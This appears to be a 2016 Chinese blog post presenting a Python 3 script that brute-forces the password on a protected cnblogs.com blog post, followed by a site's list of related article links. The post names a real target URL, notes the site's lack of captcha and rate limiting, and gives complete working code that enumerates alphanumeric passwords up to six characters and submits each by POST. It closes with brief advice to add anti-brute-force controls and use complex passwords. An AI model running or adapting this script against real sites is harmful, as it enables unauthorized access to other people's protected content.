python3实现暴力穷举博客园密码


Posted in Python onJune 19, 2016

我之前想写路由器的密码暴力破解器,我手上只有极路由,发现极路由有安全限制,只能允许连续10密码错误,所以我改拿博客园练手。

博客园的博客有个功能是给博文设置一个密码,输入正确的密码才能看到文章的内容。经过测试发现这个密码验证功能,既没有验证码也没有提交频率的限制,

要写这个针对博客园的密码暴力破解器模型会非常简单,很好实现。

比如打开这个博文,会显示一个密码输入框:http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html

我之前没有写过这样的程序,也没有看过别人写这类功能的代码,就按我自己所理解的想法来写一个最简单的密码破解器,不要多线程,不要分布式,

这个程序会有这么两个部分:

1、我需要一个生成器,可以不停的生成所有可能的密码组合,比如生成a,b,c,aa,bb,cc,ab,ac...abc,cba...abcd...等等所有的密码组合。

2、我需要不停的提交密码,直到认为密码正确,记录密码,退出程序。

-_-!为什么使用生成器?

python2中range() 不是一个生成器,当你range(N),N为一个很大的数时...python就会爆炸!!!哈哈哈..

写细致的博客太消耗时间和心力,我这里不写具体的分析过程了,后面直接上代码,如果看不懂,查相关关键词就可以,毕竟基础教程性的文章和内容非常之多。

tqdm是一个python进度条库,requests是一个简单优雅的http库,

product是python3的标准库itertools下的函数,可以用生成 (a,b,c...) (c,b,a...)这样的序列,用''.join连接起来就得到了"abc"这样的一个密码。

"""
python3暴力穷举密码
2016年6月09日 04:39:25 codegay
"""
from time import strftime
from itertools import product
from time import sleep
from tqdm import tqdm
import requests
from requests import post

#密码生成器
def psgen(x=4):
  iter = ['1234567890',
      'abcdefghijklmnopqrstuvwxyz',
      'ABCDEFGHIJKLMNOPQRSTUVWXYZ',

      ]
  for r in iter:
    for repeat in range(1,x+1):
      for ps in product(r,repeat=repeat):
        yield ''.join(ps)

def fx(url):
#把URL中的readauth字符删掉,替换成"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的格式,因为这个才POST的目标地址。
  url = url.replace("/post/readauth?url=", "")
  for ps in tqdm(psgen(6)):
    try:
      rs=post(url,data={'tb_password':ps},allow_redirects=1)
      if rs.url == url: #如果提交密码后,返回的url得到为"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的形式,那么认为猜到正确的密码了。
        with open("resut.csv","a+") as f:
          f.write('密码破解成功结果为:,'+ ps + ',' + strftime("%c") + ',' + url+'\n')
        break
    except:
      sleep(1)
      pass

url='http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html'
fx(url)

最后,这个程序运行速度大约是每秒提交6次密码,我运行了30个小时,也不过是迭代几十万次,并没有能把密码破解出来,没有产生实质性的危害。

总结:

1、密码验证的地方适当增加一些防止暴力破解的手段。

2、仍然有必要使用复杂的密码提高安全度。虽然这样的一个简单的程序并没有什么卵用。

Python 相关文章推荐
Python多线程和队列操作实例
Jun 21 Python
python用reduce和map把字符串转为数字的方法
Dec 19 Python
使用Python3制作TCP端口扫描器
Apr 17 Python
python脚本监控Tomcat服务器的方法
Jul 06 Python
Python3 获取一大段文本之间两个关键字之间的内容方法
Oct 11 Python
python调用matplotlib模块绘制柱状图
Oct 18 Python
Python实现中值滤波去噪方式
Dec 18 Python
使用python创建生成动态链接库dll的方法
May 09 Python
python 绘制国旗的示例
Sep 27 Python
Django中的DateTimeField和DateField实现
Feb 24 Python
Python爬虫进阶之Beautiful Soup库详解
Apr 29 Python
Python OpenGL基本配置方式
May 20 Python
在阿里云服务器上配置CentOS+Nginx+Python+Flask环境
Jun 18 #Python
Python中使用装饰器来优化尾递归的示例
Jun 18 #Python
举例讲解Python面向对象编程中类的继承
Jun 17 #Python
浅谈python为什么不需要三目运算符和switch
Jun 17 #Python
python运行时间的几种方法
Jun 17 #Python
从局部变量和全局变量开始全面解析Python中变量的作用域
Jun 16 #Python
实例讲解Python中global语句下全局变量的值的修改
Jun 16 #Python
You might like
echo(),print(),print_r()之间的区别?
2006/11/19 PHP
PHP 模拟登陆MSN并获得用户信息
2009/05/16 PHP
php实现网站插件机制的方法
2009/11/10 PHP
js 判断 enter 事件
2009/02/12 Javascript
Js 本页面传值实现代码
2009/05/17 Javascript
js chrome浏览器判断代码
2010/03/28 Javascript
js 父窗口控制子窗口的行为-打开,关闭,重定位,回复
2010/04/20 Javascript
javascript开发随笔二 动态加载js和文件
2011/11/25 Javascript
Javascript实现带关闭按钮的网页漂浮广告代码
2014/01/12 Javascript
Node.js和PHP根据ip获取地理位置的方法
2014/03/14 Javascript
JavaScript中模拟实现jsonp
2015/06/19 Javascript
深入浅析NodeJs并发异步的回调处理
2015/12/21 NodeJs
Node.js中的http请求客户端示例(request client)
2017/05/04 Javascript
Nodejs+angularjs结合multiparty实现多图片上传的示例代码
2017/09/29 NodeJs
Vue Cli3 创建项目的方法步骤
2018/10/15 Javascript
Nodejs实现多文件夹文件同步
2018/10/17 NodeJs
vue与原生app的对接交互的方法(混合开发)
2018/11/28 Javascript
javascript使用substring实现的展开与收缩文字功能示例
2019/06/17 Javascript
Python的条件语句与运算符优先级详解
2015/10/13 Python
Python图形绘制操作之正弦曲线实现方法分析
2017/12/25 Python
Python3导入CSV文件的实例(跟Python2有些许的不同)
2018/06/22 Python
详解python分布式进程
2018/10/08 Python
Python 访问限制 private public的详细介绍
2018/10/16 Python
Pycharm安装并配置jupyter notebook的实现
2020/05/18 Python
Django 构建模板form表单的两种方法
2020/06/14 Python
Python使用pickle进行序列化和反序列化的示例代码
2020/09/22 Python
Pycharm添加虚拟解释器报错问题解决方案
2020/10/13 Python
localstorage和sessionstorage使用记录(推荐)
2017/05/23 HTML / CSS
美国购买新书和二手书网站:Better World Books
2018/10/31 全球购物
美国汽车零部件和配件网站:CarParts
2019/03/13 全球购物
小学毕业演讲稿
2014/04/25 职场文书
投诉书范文
2015/07/02 职场文书
小学语文教师研修日志
2015/11/13 职场文书
2016教师给学生的毕业寄语
2015/12/04 职场文书
2019自荐信范文集锦!
2019/07/03 职场文书
Python中npy和mat文件的保存与读取
2022/04/24 Python